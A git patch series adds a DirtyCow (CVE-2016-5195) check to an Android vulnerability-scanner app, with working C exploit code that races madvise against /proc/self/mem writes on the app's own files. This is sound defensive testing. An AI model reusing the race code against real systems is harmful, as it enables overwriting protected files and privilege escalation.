From e61f9c355b9042b33ba40cd8182f2d5d9ed43712 Mon Sep 17 00:00:00 2001 From: Till Busse Date: Mon, 21 Nov 2016 09:23:22 +0100 Subject: [PATCH 1/8] update grade to version 2.2.2 --- build.gradle | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build.gradle b/build.gradle index e220f0b..ef7ae5a 100644 --- a/build.gradle +++ b/build.gradle @@ -5,7 +5,7 @@ buildscript { jcenter() } dependencies { - classpath 'com.android.tools.build:gradle:2.1.2' + classpath 'com.android.tools.build:gradle:2.2.2' // NOTE: Do not place your application dependencies here; they belong // in the individual module build.gradle files From aeab9236b6271c9d7018e7fb3ff7cb27892fba21 Mon Sep 17 00:00:00 2001 From: Till Busse Date: Mon, 28 Nov 2016 21:31:23 +0100 Subject: [PATCH 2/8] Add CMake to project (temporarily, to make code debuggable), Update target SDK version --- .gitignore | 3 +-- app/CMakeLists.txt | 13 +++++++++++++ app/build.gradle | 15 ++++++++++----- 3 files changed, 24 insertions(+), 7 deletions(-) create mode 100644 app/CMakeLists.txt diff --git a/.gitignore b/.gitignore index ccabaeb..e4cda93 100644 --- a/.gitignore +++ b/.gitignore @@ -5,8 +5,7 @@ /app/src/main/libs/ /app/src/main/obj/ /local.properties -/.idea/workspace.xml -/.idea/libraries .DS_Store /build /captures +app/.externalNativeBuild/ diff --git a/app/CMakeLists.txt b/app/CMakeLists.txt new file mode 100644 index 0000000..e2e0aca --- /dev/null +++ b/app/CMakeLists.txt @@ -0,0 +1,13 @@ +# Sets the minimum version of CMake required to build the native +# library. You should either keep the default value or only pass a +# value of 3.4.0 or lower. + +cmake_minimum_required(VERSION 3.4.1) + +# set binary output folder to libs folder +set(CMAKE_LIBRARY_OUTPUT_DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}/src/main/libs/${ANDROID_ABI}") + +add_library( dirtyCow + SHARED + src/main/jni/dirtyCow.c ) + diff --git a/app/build.gradle b/app/build.gradle index 1461e91..528ce8f 100644 --- a/app/build.gradle +++ b/app/build.gradle @@ -3,13 +3,13 @@ import org.apache.tools.ant.taskdefs.condition.Os apply plugin: 'com.android.application' android { - compileSdkVersion 24 + compileSdkVersion 25 buildToolsVersion "24.0.1" defaultConfig { applicationId "com.nowsecure.android.vts" minSdkVersion 15 - targetSdkVersion 24 + targetSdkVersion 25 versionCode 13 versionName "v.13" } @@ -38,6 +38,11 @@ android { exclude 'META-INF/LICENSE.txt' exclude 'META-INF/NOTICE.txt' } + externalNativeBuild { + cmake { + path "CMakeLists.txt" + } + } } repositories { @@ -46,9 +51,9 @@ repositories { dependencies { compile fileTree(dir: 'libs', include: ['*.jar']) - compile 'com.android.support:appcompat-v7:24.1.1' - compile 'com.android.support:cardview-v7:24.1.1' - compile 'com.android.support:design:24.1.1' + compile 'com.android.support:appcompat-v7:25.0.1' + compile 'com.android.support:cardview-v7:25.0.1' + compile 'com.android.support:design:25.0.1' compile 'com.evernote:android-job:1.0.8' compile 'com.github.paolorotolo:appintro:4.0.0' compile 'com.squareup.retrofit2:adapter-rxjava:2.1.0' From 2ba2ab8064e63087d0b668e130399d19ae81dd51 Mon Sep 17 00:00:00 2001 From: Till Busse Date: Mon, 28 Nov 2016 21:33:13 +0100 Subject: [PATCH 3/8] Add dirtyCow vulnerability test --- app/src/main/assets/vuln_map.json | 26 ++ .../VulnerabilityOrganizer.java | 2 + .../vulnerabilities/kernel/CVE_2016_5195.java | 102 +++++++ app/src/main/jni/Android.mk | 13 + app/src/main/jni/dirtycow.c | 252 ++++++++++++++++++ 5 files changed, 395 insertions(+) create mode 100644 app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/kernel/CVE_2016_5195.java create mode 100644 app/src/main/jni/dirtycow.c diff --git a/app/src/main/assets/vuln_map.json b/app/src/main/assets/vuln_map.json index 9a966b7..c33ad7f 100644 --- a/app/src/main/assets/vuln_map.json +++ b/app/src/main/assets/vuln_map.json @@ -563,6 +563,32 @@ "https://android.googlesource.com/platform/system/core.git/+/d167d5eabc794ba4ddef1a2900eb729720da84a2" ], "cvedate": "12/10/2015" + }, + "CVE-2016-5195": { + "cve": "CVE-2016-5195", + "altnames": [ + "CVE-2016-5195", + "DirtyCow", + "DirtyC0w" + ], + "description": "A race condition was found in the way the Linux kernel's memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings. An unprivileged, local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system.", + "impact": + "An unprivileged local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system. This flaw allows an attacker with a local system account to modify on-disk binaries, bypassing the standard permission mechanisms that would prevent modification without an appropriate permission set." + , + "external_links": [ + "https://dirtycow.ninja/", + "https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails", + "https://bugzilla.redhat.com/show_bug.cgi?id=1384344", + "https://bugs.gentoo.org/show_bug.cgi?id=597624" + ], + "cvssv2": 6.9, + "patch": [ + "https://github.com/kcgthb/RHEL6.x-COW", + "https://review.cyanogenmod.org/#/c/172707/", + "https://review.cyanogenmod.org/#/c/167403/", + "Android security patch level 2016-11-06" + ], + "cvedate": "10/20/2016" } } diff --git a/app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/VulnerabilityOrganizer.java b/app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/VulnerabilityOrganizer.java index f921405..ffa2ac2 100644 --- a/app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/VulnerabilityOrganizer.java +++ b/app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/VulnerabilityOrganizer.java @@ -23,6 +23,7 @@ import fuzion24.device.vulnerability.vulnerabilities.kernel.CVE_2014_3153; import fuzion24.device.vulnerability.vulnerabilities.kernel.CVE_2014_4943; import fuzion24.device.vulnerability.vulnerabilities.kernel.CVE_2015_3636; +import fuzion24.device.vulnerability.vulnerabilities.kernel.CVE_2016_5195; import fuzion24.device.vulnerability.vulnerabilities.system.CVE20151528; import fuzion24.device.vulnerability.vulnerabilities.system.CVE20153860; import fuzion24.device.vulnerability.vulnerabilities.system.CVE_2016_0807; @@ -61,6 +62,7 @@ public static List getTests(Context ctx){ allTests.add(new CVE_2015_6616()); allTests.add(new CVE20153860()); allTests.add(new CVE_2016_0807()); + allTests.add(new CVE_2016_5195()); // DirtyCow vulnerability List filteredTest = new ArrayList<>(); String cpuArch1 = SystemUtils.propertyGet(ctx, "ro.product.cpu.abi"); diff --git a/app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/kernel/CVE_2016_5195.java b/app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/kernel/CVE_2016_5195.java new file mode 100644 index 0000000..f506f4f --- /dev/null +++ b/app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/kernel/CVE_2016_5195.java @@ -0,0 +1,102 @@ +package fuzion24.device.vulnerability.vulnerabilities.kernel; + +import android.content.Context; + +import java.io.*; +import java.util.ArrayList; +import java.util.List; + +import fuzion24.device.vulnerability.util.CPUArch; +import fuzion24.device.vulnerability.vulnerabilities.VulnerabilityTest; + +/** + * Created by Till Busse on 21/11/16. + * Java implementation to test dirtyCow vulnerability. + */ + +public class CVE_2016_5195 implements VulnerabilityTest { + static { + System.loadLibrary("dirtyCow"); + } + private final String file1Name = "file1"; + private final String file2Name = "file2"; + private final String file1Content = "This is File one."; + private final String file2Content = "Mo0h"; + @Override + public String getCVEorID() { + return "CVE-2016-5195"; + } + + private native int runDirtyCow(Object [] paths); + + @Override + public boolean isVulnerable(Context context) throws Exception { + try{ + + List paths = createFiles(context); + boolean isWritten = checkFileContent(context, file1Name, file1Content); + if (!isWritten) + throw new Exception("Error running test. File could not be created with specific content"); + + int checkVal = runDirtyCow(paths.toArray()); + if (checkVal == 0){ + isWritten = checkFileContent(context, file1Name, file2Content); + return isWritten; + }else { + throw new Exception("Error running test. Errno: " + checkVal); + } + }finally { + // delete files when done + File file; + file = new File(context.getFilesDir(), file1Name); + file.delete(); + file = new File(context.getFilesDir(), file1Name); + file.delete(); + } + } + + @Override + public List getSupportedArchitectures() { + ArrayList archs = new ArrayList<>(); + archs.add(CPUArch.ALL); + return archs; + } + + private List createFiles(Context context){ + List paths = new ArrayList<>(); + paths.add(0, context.getFilesDir().getAbsolutePath() + "/" + file1Name); + paths.add(1, context.getFilesDir().getAbsolutePath() + "/" + file2Name); + FileOutputStream outputStream; + + try { + outputStream = context.openFileOutput(file1Name, Context.MODE_PRIVATE); + outputStream.write(file1Content.getBytes()); + outputStream = context.openFileOutput(file2Name, Context.MODE_PRIVATE); + outputStream.write(file2Content.getBytes()); + outputStream.close(); + } catch (Exception e) { + e.printStackTrace(); + } + return paths; + } + private boolean checkFileContent(Context context, String filename, String content){ + File fileCheck = context.getFilesDir(); + //Get the text file + File file = new File(fileCheck,filename); + //Read text from file + StringBuilder text = new StringBuilder(); + try { + BufferedReader br = new BufferedReader(new FileReader(file)); + String line; + + while ((line = br.readLine()) != null) { + text.append(line); + //text.append('\n'); + } + br.close(); + }catch (IOException e) { + e.printStackTrace(); + } + return content.equals(text.substring(0, content.length())); + } +} diff --git a/app/src/main/jni/Android.mk b/app/src/main/jni/Android.mk index 7122cc1..5b14dcb 100644 --- a/app/src/main/jni/Android.mk +++ b/app/src/main/jni/Android.mk @@ -227,3 +227,16 @@ LOCAL_C_INCLUDES := $(LOCAL_PATH)/include/ include $(BUILD_EXECUTABLE) ################################ + +################################ +#include $(CLEAR_VARS) +# +#LOCAL_MODULE := dirtyCow +#LOCAL_SRC_FILES := dirtycow.c +#LOCAL_LDFLAGS += -llog +##LOCAL_CFLAGS += -DDEBUG +#LOCAL_CFLAGS += -fPIE +#LOCAL_LDFLAGS += -fPIE -pie +# +#include $(BUILD_SHARED_LIBRARY) +################################ \ No newline at end of file diff --git a/app/src/main/jni/dirtycow.c b/app/src/main/jni/dirtycow.c new file mode 100644 index 0000000..77ff32a --- /dev/null +++ b/app/src/main/jni/dirtycow.c @@ -0,0 +1,252 @@ +#include +#include +#include +#include +#include +#include +#include + +#ifdef DEBUG +#include +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } +#else +#define LOGV(...) +#endif + +#define LOOP 0x100000 +#define STRINGSIZE 200 + +#ifndef PAGE_SIZE +#define PAGE_SIZE 4096 +#endif + +struct mem_arg { + unsigned char *offset; + unsigned char *patch; + unsigned char *unpatch; + size_t patch_size; + int do_patch; +}; + +// enum defining the Error codes for JNI +typedef enum EerrorCode{ + success = 0, + cantOpenFile, + cantMap, + wrongParamater +} errorCode; + + +static void *madviseThread(void *arg) // thread runnable function, getting a + // 'mem_arg' element (needs to ve void type + // for thread call) +{ + struct mem_arg *mem_arg; + size_t size; + void *addr; + int i, c = 0; + + mem_arg = (struct mem_arg *)arg; + /*addr = (void *)((off_t)mem_arg->offset & (~(PAGE_SIZE - 1)));*/ + /*size = mem_arg->offset - (unsigned long)addr;*/ + /*size = mem_arg->patch_size + (mem_arg->offset - addr);*/ + size = mem_arg->patch_size; + addr = (void *)(mem_arg->offset); + + LOGV("[*] madvise = %p %d", addr, size); + + for(i = 0; i < LOOP; i++) { + c += madvise(addr, size, MADV_DONTNEED); // give advice about use of memory + // This call is the main cause for the DirtyCow exploit to work properly. + // 'madvise' gives the kernel advise/directions on how the mapped memory at 'addr + size' is going + // to be used in the future. Hence the kernel can decide on how to handle the memory page when remapping + // is mandatory. + // ( -> helpful for proper resource management invoked by the programmer. For example the + // programmer may inform the kernel that there will only be sequential access to the memory, + // therefore the kernel can swap out the page right after it has been used, because it won't + // be used again until the next program sequence.) + // For DirtyCow, the kernel is told that the program won't need the the memory at 'addr', + // therefore the Kernel is advised 'just throw it away'. + // When the exploit is used, the memory map at 'addr' holds the file that shall be + // overwritten. The Madvise thread tells the Kernel to throw away the memory at the address + // of our file, even if it is dirty (has been changed). Therefore any changes to the memory + // wont be propagated to the underlining file. The procselfMemThread however, is constantly + // trying to write to the memory at this address. + // From the man page of this function, about the DONTNEED flag: + // "[...] subsequent accesses of pages in the range will succeed, but will result in [...] + // repopulating the memory contents from the up-to-date contents of the underlying mapped file [...]" + // -> The file will be reloaded on next access. + } + + LOGV("[*] madvise = %d %d", c, i); + return 0; +} + +static void *procselfmemThread(void *arg) +{ + struct mem_arg *mem_arg; + int fd, i, c = 0; + unsigned char *p; + + mem_arg = (struct mem_arg *)arg; + p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch; + + fd = open("/proc/self/mem", O_RDWR); + if (fd == -1) + LOGV("open(\"/proc/self/mem\""); + + // The thread opens the 'file' representing the memory page of the process and tries to write + // to the address of the memory mapped file the exploit tries to overwrite. Since the file got + // mapped with the private flag, the Kernel will use COW and therefore create a copy of the + // memory segment on write access. This system call takes time to execute, since a copy of the + // memory is created. After the copy is created the thread is free to write to the memory, which + // then points to a copy of the real file. There is a race condition, however, which allows the + // thread to write to the address before a copy has been created by the kernel. At this point, + // the program is able to write to the 'real' file instead of writing to the copy. Therefore + // the original file is changed. + for (i = 0; i < LOOP; i++) { + lseek(fd, (off_t) mem_arg->offset, SEEK_SET); + // int write( int handle, void *buffer, int nbyte ); + // write 'nbytes' of buffer into handle (file) + c += write(fd, p, mem_arg->patch_size); + } + + LOGV("[*] /proc/self/mem %d %i", c, i); + + close(fd); + + return NULL; +} + +static void exploit(struct mem_arg *mem_arg, int do_patch) +{ + pthread_t pth1, pth2; + + LOGV("[*] exploit (%s)", do_patch ? "patch": "unpatch"); + LOGV("[*] currently %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset); + + mem_arg->do_patch = do_patch; + + pthread_create(&pth1, NULL, madviseThread, mem_arg); + pthread_create(&pth2, NULL, procselfmemThread, mem_arg); + + pthread_join(pth1, NULL); + pthread_join(pth2, NULL); + + LOGV("[*] exploited %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset); +} + +errorCode callCow(int argc, const char *argv[]) +{ + // check + if (argc < 2/* && arg > 2 */) { + LOGV("usage %s /default.prop /data/local/tmp/default.prop", argv[0]); + return wrongParamater; + } + + struct mem_arg mem_arg; + struct stat st_oldFile; // file structure used by fstat function (file status) + struct stat st_newFile; + + // check read access to files that should be used + int oldFile=open(argv[0],O_RDONLY); + if (oldFile == -1) { + LOGV("could not open %s", argv[0]); + return cantOpenFile; + } + // get information about file 'oldFile', to check its size against 'newFile' + // Prototype: int fstat(int fd, struct stat *buf); + if (fstat(oldFile,&st_oldFile) == -1) { + LOGV("could not open %s", argv[0]); + return cantOpenFile; + } + + int newFile=open(argv[1],O_RDONLY); + if (newFile == -1) { + LOGV("could not open %s", argv[1]); + return cantOpenFile; + } + if (fstat(newFile,&st_newFile) == -1) { + LOGV("could not open %s", argv[1]); + return cantOpenFile; + } + + // check file sizes match -> DirtyCow has a space limit, where the new file + // may not be larger than the original file that shall be exploited. + size_t size = st_oldFile.st_size; + if (st_newFile.st_size != st_oldFile.st_size) { + LOGV("warning: new file size (%lld) and file old size (%lld) differ\n", st_newFile.st_size, st_oldFile.st_size); + if (st_newFile.st_size > size) { + size = st_newFile.st_size; + } + } + + LOGV("size %d\n\n",size); // Log file size of old file + + mem_arg.patch = malloc(size); + if (mem_arg.patch == NULL) + LOGV("malloc"); + + memset(mem_arg.patch, 0, size); + + mem_arg.unpatch = malloc(size); + if (mem_arg.unpatch == NULL) + LOGV("malloc"); + + read(newFile, mem_arg.patch, st_newFile.st_size); // read 'newFile' into the 'patch' buffer + close(newFile); // close 'newFile' + + /*read(oldFile, mem_arg.unpatch, st_oldFile.st_size);*/ + + mem_arg.patch_size = size; + mem_arg.do_patch = 1; + + // map the 'oldFile' into a private RAM (memory) sector as read only (PROT_READ) + // This maps a file from disk directly into the memory, it does not create a 'copy' of the file. + // MAP_PRIVATE (use copy on write on changes) + // Create a private copy-on-write mapping. Updates to the + // mapping are not visible to other processes mapping the same + // file, and are not carried through to the underlying file. It + // is unspecified whether changes made to the file after the + // mmap() call are visible in the mapped region. + void * map = mmap(NULL, size, PROT_READ, MAP_PRIVATE, oldFile, 0); + if (map == MAP_FAILED) { + LOGV("mmap"); + return cantMap; + } + + LOGV("[*] mmap %p", map); + + mem_arg.offset = map; + + exploit(&mem_arg, 1); + + close(oldFile); + // to put back + /*exploit(&mem_arg, 0);*/ + + return success; +} + +JNIEXPORT jint JNICALL +Java_fuzion24_device_vulnerability_vulnerabilities_kernel_CVE_12016_15195_runDirtyCow(JNIEnv *env, jobject obj, jobjectArray stringArray){ + int stringCount = (*env)->GetArrayLength(env, stringArray); + char src[STRINGSIZE]; + char dest[STRINGSIZE]; + const char *argv[2]; + jstring string[2]; + argv[0] = dest; + argv[1] = src; + errorCode error; + for (int i=0; i < stringCount; i++) + { + string[i] = (*env)->GetObjectArrayElement(env, stringArray, i); + argv[i] = (*env)->GetStringUTFChars(env, string[i], 0); + } + error = callCow(stringCount, argv); + for (int i = 0; i < stringCount; i++) { + (*env)->ReleaseStringUTFChars(env, string[i], argv[i]); + (*env)->DeleteLocalRef(env, string[i]); + } + return (jint)error; +} From 5df2c4b916709626913c2118257de3de6369c40f Mon Sep 17 00:00:00 2001 From: Till Busse Date: Wed, 30 Nov 2016 19:33:47 +0100 Subject: [PATCH 4/8] Change Loop run-count, to speed up speed test. new value should still be sufficient to trigger the race condition --- app/src/main/jni/dirtycow.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/src/main/jni/dirtycow.c b/app/src/main/jni/dirtycow.c index 77ff32a..75647a4 100644 --- a/app/src/main/jni/dirtycow.c +++ b/app/src/main/jni/dirtycow.c @@ -13,7 +13,7 @@ #define LOGV(...) #endif -#define LOOP 0x100000 +#define LOOP 0x75000 #define STRINGSIZE 200 #ifndef PAGE_SIZE From bb94ead63926dca234141ccb4d6699b8a91d9486 Mon Sep 17 00:00:00 2001 From: Till Busse Date: Wed, 30 Nov 2016 19:42:49 +0100 Subject: [PATCH 5/8] Remove unnecessary comments from dirtycow.c --- app/src/main/jni/dirtycow.c | 72 ++++--------------------------------- 1 file changed, 6 insertions(+), 66 deletions(-) diff --git a/app/src/main/jni/dirtycow.c b/app/src/main/jni/dirtycow.c index 75647a4..f3ebaf6 100644 --- a/app/src/main/jni/dirtycow.c +++ b/app/src/main/jni/dirtycow.c @@ -37,9 +37,7 @@ typedef enum EerrorCode{ } errorCode; -static void *madviseThread(void *arg) // thread runnable function, getting a - // 'mem_arg' element (needs to ve void type - // for thread call) +static void *madviseThread(void *arg) { struct mem_arg *mem_arg; size_t size; @@ -47,37 +45,14 @@ static void *madviseThread(void *arg) // thread runnable function, getting a int i, c = 0; mem_arg = (struct mem_arg *)arg; - /*addr = (void *)((off_t)mem_arg->offset & (~(PAGE_SIZE - 1)));*/ - /*size = mem_arg->offset - (unsigned long)addr;*/ - /*size = mem_arg->patch_size + (mem_arg->offset - addr);*/ size = mem_arg->patch_size; addr = (void *)(mem_arg->offset); LOGV("[*] madvise = %p %d", addr, size); for(i = 0; i < LOOP; i++) { - c += madvise(addr, size, MADV_DONTNEED); // give advice about use of memory - // This call is the main cause for the DirtyCow exploit to work properly. - // 'madvise' gives the kernel advise/directions on how the mapped memory at 'addr + size' is going - // to be used in the future. Hence the kernel can decide on how to handle the memory page when remapping - // is mandatory. - // ( -> helpful for proper resource management invoked by the programmer. For example the - // programmer may inform the kernel that there will only be sequential access to the memory, - // therefore the kernel can swap out the page right after it has been used, because it won't - // be used again until the next program sequence.) - // For DirtyCow, the kernel is told that the program won't need the the memory at 'addr', - // therefore the Kernel is advised 'just throw it away'. - // When the exploit is used, the memory map at 'addr' holds the file that shall be - // overwritten. The Madvise thread tells the Kernel to throw away the memory at the address - // of our file, even if it is dirty (has been changed). Therefore any changes to the memory - // wont be propagated to the underlining file. The procselfMemThread however, is constantly - // trying to write to the memory at this address. - // From the man page of this function, about the DONTNEED flag: - // "[...] subsequent accesses of pages in the range will succeed, but will result in [...] - // repopulating the memory contents from the up-to-date contents of the underlying mapped file [...]" - // -> The file will be reloaded on next access. + c += madvise(addr, size, MADV_DONTNEED); } - LOGV("[*] madvise = %d %d", c, i); return 0; } @@ -94,27 +69,12 @@ static void *procselfmemThread(void *arg) fd = open("/proc/self/mem", O_RDWR); if (fd == -1) LOGV("open(\"/proc/self/mem\""); - - // The thread opens the 'file' representing the memory page of the process and tries to write - // to the address of the memory mapped file the exploit tries to overwrite. Since the file got - // mapped with the private flag, the Kernel will use COW and therefore create a copy of the - // memory segment on write access. This system call takes time to execute, since a copy of the - // memory is created. After the copy is created the thread is free to write to the memory, which - // then points to a copy of the real file. There is a race condition, however, which allows the - // thread to write to the address before a copy has been created by the kernel. At this point, - // the program is able to write to the 'real' file instead of writing to the copy. Therefore - // the original file is changed. for (i = 0; i < LOOP; i++) { lseek(fd, (off_t) mem_arg->offset, SEEK_SET); - // int write( int handle, void *buffer, int nbyte ); - // write 'nbytes' of buffer into handle (file) c += write(fd, p, mem_arg->patch_size); } - LOGV("[*] /proc/self/mem %d %i", c, i); - close(fd); - return NULL; } @@ -138,29 +98,24 @@ static void exploit(struct mem_arg *mem_arg, int do_patch) errorCode callCow(int argc, const char *argv[]) { - // check if (argc < 2/* && arg > 2 */) { LOGV("usage %s /default.prop /data/local/tmp/default.prop", argv[0]); return wrongParamater; } struct mem_arg mem_arg; - struct stat st_oldFile; // file structure used by fstat function (file status) + struct stat st_oldFile; struct stat st_newFile; - // check read access to files that should be used int oldFile=open(argv[0],O_RDONLY); if (oldFile == -1) { LOGV("could not open %s", argv[0]); return cantOpenFile; } - // get information about file 'oldFile', to check its size against 'newFile' - // Prototype: int fstat(int fd, struct stat *buf); if (fstat(oldFile,&st_oldFile) == -1) { LOGV("could not open %s", argv[0]); return cantOpenFile; } - int newFile=open(argv[1],O_RDONLY); if (newFile == -1) { LOGV("could not open %s", argv[1]); @@ -170,9 +125,6 @@ errorCode callCow(int argc, const char *argv[]) LOGV("could not open %s", argv[1]); return cantOpenFile; } - - // check file sizes match -> DirtyCow has a space limit, where the new file - // may not be larger than the original file that shall be exploited. size_t size = st_oldFile.st_size; if (st_newFile.st_size != st_oldFile.st_size) { LOGV("warning: new file size (%lld) and file old size (%lld) differ\n", st_newFile.st_size, st_oldFile.st_size); @@ -181,7 +133,7 @@ errorCode callCow(int argc, const char *argv[]) } } - LOGV("size %d\n\n",size); // Log file size of old file + LOGV("size %d\n\n",size); mem_arg.patch = malloc(size); if (mem_arg.patch == NULL) @@ -193,22 +145,10 @@ errorCode callCow(int argc, const char *argv[]) if (mem_arg.unpatch == NULL) LOGV("malloc"); - read(newFile, mem_arg.patch, st_newFile.st_size); // read 'newFile' into the 'patch' buffer - close(newFile); // close 'newFile' - - /*read(oldFile, mem_arg.unpatch, st_oldFile.st_size);*/ - + read(newFile, mem_arg.patch, st_newFile.st_size); + close(newFile); mem_arg.patch_size = size; mem_arg.do_patch = 1; - - // map the 'oldFile' into a private RAM (memory) sector as read only (PROT_READ) - // This maps a file from disk directly into the memory, it does not create a 'copy' of the file. - // MAP_PRIVATE (use copy on write on changes) - // Create a private copy-on-write mapping. Updates to the - // mapping are not visible to other processes mapping the same - // file, and are not carried through to the underlying file. It - // is unspecified whether changes made to the file after the - // mmap() call are visible in the mapped region. void * map = mmap(NULL, size, PROT_READ, MAP_PRIVATE, oldFile, 0); if (map == MAP_FAILED) { LOGV("mmap"); From 4b4598cc2216576e50dd8888e69b5e017f2f712b Mon Sep 17 00:00:00 2001 From: Till Busse Date: Thu, 1 Dec 2016 16:46:20 +0100 Subject: [PATCH 6/8] Add logging to DirtyCOW C code --- app/CMakeLists.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/app/CMakeLists.txt b/app/CMakeLists.txt index e2e0aca..bae895f 100644 --- a/app/CMakeLists.txt +++ b/app/CMakeLists.txt @@ -10,4 +10,5 @@ set(CMAKE_LIBRARY_OUTPUT_DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}/src/main/li add_library( dirtyCow SHARED src/main/jni/dirtyCow.c ) - +target_link_libraries( dirtyCow + log) From f2e41419de2164035946aab8f55cc94af15aa90a Mon Sep 17 00:00:00 2001 From: Till Busse Date: Thu, 1 Dec 2016 16:55:28 +0100 Subject: [PATCH 7/8] Fix DirtyCOW memory leaks (files not closed) Add thread to check periodically whether or not the exploit was successful Adjust maximal attempt count --- app/src/main/jni/dirtycow.c | 95 ++++++++++++++++++++++++++----------- 1 file changed, 66 insertions(+), 29 deletions(-) diff --git a/app/src/main/jni/dirtycow.c b/app/src/main/jni/dirtycow.c index f3ebaf6..44c9df4 100644 --- a/app/src/main/jni/dirtycow.c +++ b/app/src/main/jni/dirtycow.c @@ -8,12 +8,12 @@ #ifdef DEBUG #include -#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } +#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "DirtyCOW", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } #else #define LOGV(...) #endif -#define LOOP 0x75000 +#define LOOP 50000 #define STRINGSIZE 200 #ifndef PAGE_SIZE @@ -23,9 +23,12 @@ struct mem_arg { unsigned char *offset; unsigned char *patch; - unsigned char *unpatch; size_t patch_size; - int do_patch; + const char *oldFilePath; + uint8_t isWritten; + uint8_t doneWriting; + pthread_cond_t condWritten; + pthread_mutex_t lock; }; // enum defining the Error codes for JNI @@ -42,18 +45,18 @@ static void *madviseThread(void *arg) struct mem_arg *mem_arg; size_t size; void *addr; - int i, c = 0; + int c = 0; mem_arg = (struct mem_arg *)arg; size = mem_arg->patch_size; addr = (void *)(mem_arg->offset); - LOGV("[*] madvise = %p %d", addr, size); + LOGV("[*] madvise = %p %d", addr, (int)size); - for(i = 0; i < LOOP; i++) { + while (mem_arg->doneWriting == 0) { c += madvise(addr, size, MADV_DONTNEED); } - LOGV("[*] madvise = %d %d", c, i); + LOGV("[*] madvise = %d", c); return 0; } @@ -61,37 +64,64 @@ static void *procselfmemThread(void *arg) { struct mem_arg *mem_arg; int fd, i, c = 0; - unsigned char *p; mem_arg = (struct mem_arg *)arg; - p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch; fd = open("/proc/self/mem", O_RDWR); if (fd == -1) LOGV("open(\"/proc/self/mem\""); - for (i = 0; i < LOOP; i++) { + for (i = 0; i < LOOP && (mem_arg->isWritten == 0); i++) { lseek(fd, (off_t) mem_arg->offset, SEEK_SET); - c += write(fd, p, mem_arg->patch_size); + c += write(fd, mem_arg->patch, mem_arg->patch_size); + pthread_cond_signal(&mem_arg->condWritten); } + mem_arg->doneWriting = 1; LOGV("[*] /proc/self/mem %d %i", c, i); close(fd); return NULL; } -static void exploit(struct mem_arg *mem_arg, int do_patch) +static void *checkWriteThread(void *arg) { - pthread_t pth1, pth2; + struct mem_arg *mem_arg; + int fd, c = 0; + char buffer[STRINGSIZE]; + + mem_arg = (struct mem_arg *)arg; + + while (mem_arg->doneWriting == 0) { + pthread_mutex_lock(&mem_arg->lock); + pthread_cond_wait(&mem_arg->condWritten, &mem_arg->lock); + pthread_mutex_unlock(&mem_arg->lock); + fd = open(mem_arg->oldFilePath, O_RDONLY); + if (fd == -1) + LOGV("open(\"oldFile for check"); + c += read(fd, buffer, mem_arg->patch_size); + if (strncmp((const char *)buffer, (const char *)mem_arg->patch, mem_arg->patch_size) == 0){ + mem_arg->isWritten = 1; + break; + } + close(fd); + sched_yield(); + } + LOGV("[*] oldFile check c: %d buffer: \"%s\" patch: \"%s\"", c, buffer, mem_arg->patch); + return NULL; +} - LOGV("[*] exploit (%s)", do_patch ? "patch": "unpatch"); - LOGV("[*] currently %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset); +static void exploit(struct mem_arg *mem_arg) +{ + pthread_t pthMadVise, pthProcSelfMem, pthCheckWrite; - mem_arg->do_patch = do_patch; + LOGV("[*] exploit (%s) unpatch"); + LOGV("[*] currently %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset); - pthread_create(&pth1, NULL, madviseThread, mem_arg); - pthread_create(&pth2, NULL, procselfmemThread, mem_arg); + pthread_create(&pthMadVise, NULL, madviseThread, mem_arg); + pthread_create(&pthProcSelfMem, NULL, procselfmemThread, mem_arg); + pthread_create(&pthCheckWrite, NULL, checkWriteThread, mem_arg); - pthread_join(pth1, NULL); - pthread_join(pth2, NULL); + pthread_join(pthMadVise, NULL); + pthread_join(pthProcSelfMem, NULL); + pthread_join(pthCheckWrite, NULL); LOGV("[*] exploited %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset); } @@ -114,15 +144,19 @@ errorCode callCow(int argc, const char *argv[]) } if (fstat(oldFile,&st_oldFile) == -1) { LOGV("could not open %s", argv[0]); + close(oldFile); return cantOpenFile; } int newFile=open(argv[1],O_RDONLY); if (newFile == -1) { LOGV("could not open %s", argv[1]); + close(oldFile); return cantOpenFile; } if (fstat(newFile,&st_newFile) == -1) { LOGV("could not open %s", argv[1]); + close(oldFile); + close(newFile); return cantOpenFile; } size_t size = st_oldFile.st_size; @@ -141,29 +175,32 @@ errorCode callCow(int argc, const char *argv[]) memset(mem_arg.patch, 0, size); - mem_arg.unpatch = malloc(size); - if (mem_arg.unpatch == NULL) - LOGV("malloc"); - read(newFile, mem_arg.patch, st_newFile.st_size); close(newFile); mem_arg.patch_size = size; - mem_arg.do_patch = 1; void * map = mmap(NULL, size, PROT_READ, MAP_PRIVATE, oldFile, 0); if (map == MAP_FAILED) { LOGV("mmap"); + close(oldFile); return cantMap; } LOGV("[*] mmap %p", map); mem_arg.offset = map; + 